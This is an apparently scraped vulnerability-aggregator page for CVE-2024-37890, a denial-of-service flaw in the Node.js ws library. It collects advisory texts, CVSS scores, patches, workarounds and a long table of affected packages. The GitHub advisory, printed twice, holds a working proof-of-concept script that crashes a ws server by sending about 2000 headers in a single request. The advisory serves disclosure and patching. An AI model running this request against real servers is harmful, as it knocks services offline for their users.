Every CVE Search/ Get API key

CVE-2024-37890

Denial of service when handling a request with many HTTP headers in ws

7.5 HighFix available

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.36%Up 1.3 points since Jun 18, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.5

Denial of service when handling a request with many HTTP headers in ws

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
EUVDEUVD-2024-1899 7.5

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
EUVD-2024-1899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-3h5v-q93c-6h6q 8.7

ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Record
GHSA-3h5v-q93c-6h6q
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
NVD 7.5

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSV 7.5

Denial of service when handling a request with many HTTP headers in ws

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSVDEBIAN-CVE-2024-37890 7.5

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
DEBIAN-CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 27 moreShow less
OSVGHSA-3h5v-q93c-6h6q 8.7

ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Record
GHSA-3h5v-q93c-6h6q
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSVRHBA-2024:9549 5.9

Red Hat Bug Fix Advisory: .NET 8.0 bug fix and enhancement update

Record
RHBA-2024:9549
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHBA-2024:9550 5.9

Red Hat Bug Fix Advisory: .NET 6.0 bug fix and enhancement update

Record
RHBA-2024:9550
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHBA-2025:4932 5.9

Red Hat Bug Fix Advisory: dotnet8.0 bug fix and enhancement update

Record
RHBA-2025:4932
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2024-37890 7.5

CVE-2024-37890 in ws - Patched by Root

Root has patched CVE-2024-37890 in the ws package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-06
OSVUBUNTU-CVE-2024-37890 7.5

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
UBUNTU-CVE-2024-37890
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVAZL-42808 No score

CVE-2024-37890 affecting package reaper for versions less than 3.1.1-10

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
AZL-42808
Updated
2026-11-02
OSVAZL-43600 No score

CVE-2024-37890 affecting package js-jquery 3.5.0-4

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
AZL-43600
Updated
2026-11-02
OSVAZL-45066 No score

CVE-2024-37890 affecting package js-jquery 3.5.0-4

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Record
AZL-45066
Updated
2026-11-05
OSVCLSA-2026-1773360970 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.4.6-tuxcare.1.

Record
CLSA-2026-1773360970
Updated
2026-11-02
OSVCLSA-2026-1774225216 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.1.

Record
CLSA-2026-1774225216
Updated
2026-11-02
OSVCLSA-2026-1785380881 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.16.0-tuxcare.2.

Record
CLSA-2026-1785380881
Updated
2026-11-02
OSVCLSA-2026-1785380886 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.2.

Record
CLSA-2026-1785380886
Updated
2026-11-02
OSVCLSA-2026-1788560406 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.

Record
CLSA-2026-1788560406
Updated
2026-11-02
OSVCLSA-2026-1788560420 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.

Record
CLSA-2026-1788560420
Updated
2026-11-02
OSVCLSA-2026-1788560439 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.

Record
CLSA-2026-1788560439
Updated
2026-11-02
OSVCLSA-2026-1790161463 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.

Record
CLSA-2026-1790161463
Updated
2026-11-02
OSVCLSA-2026-1790164081 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.

Record
CLSA-2026-1790164081
Updated
2026-11-02
OSVCLSA-2026-1790164156 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.

Record
CLSA-2026-1790164156
Updated
2026-11-02
OSVCLSA-2026-1790174669 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.

Record
CLSA-2026-1790174669
Updated
2026-11-02
OSVCLSA-2026-1790610738 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.14.2-tuxcare.1.

Record
CLSA-2026-1790610738
Updated
2026-11-02
OSVCLSA-2026-1790776603 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.

Record
CLSA-2026-1790776603
Updated
2026-11-02
OSVCLSA-2026-1792164186 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.

Record
CLSA-2026-1792164186
Updated
2026-11-02
OSVCLSA-2026-1792443025 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.

Record
CLSA-2026-1792443025
Updated
2026-11-02
OSVCLSA-2026-1793096799 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 2.3.1-tuxcare.2.

Record
CLSA-2026-1793096799
Updated
2026-11-02
OSVCLSA-2026-1793112519 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.1.4-tuxcare.1.

Record
CLSA-2026-1793112519
Updated
2026-11-02
OSVMGASA-2025-0194 No score

Updated yarnpkg packages fix security vulnerabilities

CVE-2024-37890 yarnpkg: denial of service when handling a request with many HTTP headers. CVE-2024-48949 yarnpkg: Missing Validation in Elliptic's EDDSA Signature Verification. CVE-2024-12905 yarnpkg: link following and path traversal via maliciously crafted tar file And other vulnerabilities in the yarn's bundled nodejs components are fixed too, see the references.

Record
MGASA-2025-0194
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
ws
npm
2.1.0 up to 5.2.4
5.2.4
ws
npm
6.0.0 up to 6.2.3
6.2.3
ws
npm
7.0.0 up to 7.5.10
7.5.10
ws
npm
8.0.0 up to 8.17.1
8.17.1
reaper
Azure Linux:2
before 3.1.1-10
3.1.1-10
js-jquery
Azure Linux:2
through 3.5.0-4 None known
js-jquery
Azure Linux:3
through 3.5.0-4 None known
ws
TuxCare:npm
7.4.6-tuxcare.0 up to 7.4.6-tuxcare.1, plus listed versions
7.4.6
7.4.6-tuxcare.1
ws
TuxCare:npm
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.1, plus listed versions
4.1.0
4.1.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.16.0-tuxcare.0 up to 8.16.0-tuxcare.2, plus listed versions
8.16.08.16.0-tuxcare.1
8.16.0-tuxcare.2
Show 93 moreShow less
Affected packages
PackageAffectedFixed
ws
TuxCare:npm
7.5.9-tuxcare.0 up to 7.5.9-tuxcare.2, plus listed versions
7.5.97.5.9-tuxcare.1
7.5.9-tuxcare.2
ws
TuxCare:npm
From an advisory covering 3 CVEs
8.13.0-tuxcare.0 up to 8.13.0-tuxcare.1, plus listed versions
8.13.0
8.13.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.5-tuxcare.0 up to 7.4.5-tuxcare.1, plus listed versions
7.4.5
7.4.5-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
6.0.0-tuxcare.0 up to 6.0.0-tuxcare.1, plus listed versions
6.0.0
6.0.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.11.0-tuxcare.0 up to 8.11.0-tuxcare.1, plus listed versions
8.11.0
8.11.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.5.0-tuxcare.0 up to 8.5.0-tuxcare.1, plus listed versions
8.5.0
8.5.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
6.2.2-tuxcare.0 up to 6.2.2-tuxcare.1, plus listed versions
6.2.2
6.2.2-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.2.3-tuxcare.0 up to 8.2.3-tuxcare.1, plus listed versions
8.2.3
8.2.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.14.2-tuxcare.0 up to 8.14.2-tuxcare.1, plus listed versions
8.14.2
8.14.2-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
7.5.3-tuxcare.0 up to 7.5.3-tuxcare.1, plus listed versions
7.5.3
7.5.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.3-tuxcare.0 up to 7.4.3-tuxcare.1, plus listed versions
7.4.3
7.4.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.0-tuxcare.0 up to 7.4.0-tuxcare.1, plus listed versions
7.4.0
7.4.0-tuxcare.1
ws
TuxCare:npm
2.3.1-tuxcare.0 up to 2.3.1-tuxcare.2, plus listed versions
2.3.12.3.1-tuxcare.1
2.3.1-tuxcare.2
ws
TuxCare:npm
From an advisory covering 3 CVEs
6.1.4-tuxcare.0 up to 6.1.4-tuxcare.1, plus listed versions
6.1.4
6.1.4-tuxcare.1
node-ws
Debian:12
All versions, plus listed versions
8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-28.18.0+~cs13.7.11-18.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1
Show 5 moreShow less
8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1
None known
node-ws
Debian:13
before 8.18.0+~cs13.7.11-1
8.18.0+~cs13.7.11-1
node-ws
Debian:14
before 8.18.0+~cs13.7.11-1
8.18.0+~cs13.7.11-1
yarnpkg
Mageia:9
From an advisory covering 11 CVEs
before 1.22.22-0.10.9.2.1.mga9
1.22.22-0.10.9.2.1.mga9
aspnetcore-runtime-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
aspnetcore-runtime-dbg-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
aspnetcore-targeting-pack-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-apphost-pack-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-apphost-pack-8.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-hostfxr-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-hostfxr-8.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-runtime-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-runtime-8.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-runtime-dbg-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-sdk-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet-sdk-8.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet-sdk-dbg-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet-targeting-pack-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-templates-8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet8.0
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet8.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet8.0-debugsource
Red Hat:enterprise_linux:9::appstream
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet-apphost-pack-8.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-hostfxr-8.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-runtime-8.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:8.0.10-3.el9_5
0:8.0.10-3.el9_5
dotnet-sdk-8.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet-sdk-8.0-source-built-artifacts
Red Hat:enterprise_linux:9::crb
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet8.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
dotnet8.0-debugsource
Red Hat:enterprise_linux:9::crb
before 0:8.0.110-3.el9_5
0:8.0.110-3.el9_5
aspnetcore-runtime-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
aspnetcore-targeting-pack-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-apphost-pack-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-apphost-pack-6.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-hostfxr-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-hostfxr-6.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-runtime-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-runtime-6.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-sdk-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet-sdk-6.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet-targeting-pack-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-templates-6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet6.0
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet6.0-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet6.0-debugsource
Red Hat:enterprise_linux:9::appstream
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet-apphost-pack-6.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-hostfxr-6.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-runtime-6.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:6.0.35-2.el9_5
0:6.0.35-2.el9_5
dotnet-sdk-6.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet-sdk-6.0-source-built-artifacts
Red Hat:enterprise_linux:9::crb
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet6.0-debuginfo
Red Hat:enterprise_linux:9::crb
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
dotnet6.0-debugsource
Red Hat:enterprise_linux:9::crb
before 0:6.0.135-2.el9_5
0:6.0.135-2.el9_5
aspnetcore-runtime-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
aspnetcore-runtime-dbg-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
aspnetcore-targeting-pack-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-apphost-pack-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-apphost-pack-8.0-debuginfo
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-hostfxr-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-hostfxr-8.0-debuginfo
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-runtime-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-runtime-8.0-debuginfo
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-runtime-dbg-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-sdk-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet-sdk-8.0-debuginfo
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet-sdk-dbg-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet-targeting-pack-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.13-2.el10_0
0:8.0.13-2.el10_0
dotnet-templates-8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet8.0
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet8.0-debugsource
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
dotnet-sdk-8.0-source-built-artifacts
Red Hat:enterprise_linux:10.0
before 0:8.0.113-2.el10_0
0:8.0.113-2.el10_0
ws
Root:npm
before 6.2.2-aikido.2
6.2.2-aikido.27.3.1-aikido.27.4.6-aikido.28.13.0-aikido.28.17.1-aikido.38.14.2-aikido.18.6.0-aikido.18.11.0-aikido.18.5.0-aikido.18.2.3-aikido.17.5.5-aikido.26.2.2-aikido.15.2.3-aikido.17.5.8-aikido.27.5.7-aikido.25.2.4-aikido.18.17.1-aikido.18.17.1-aikido.27.5.10-aikido.16.2.3-aikido.1
@rootio/ws
Root:npm
before 7.4.6-root.io.1
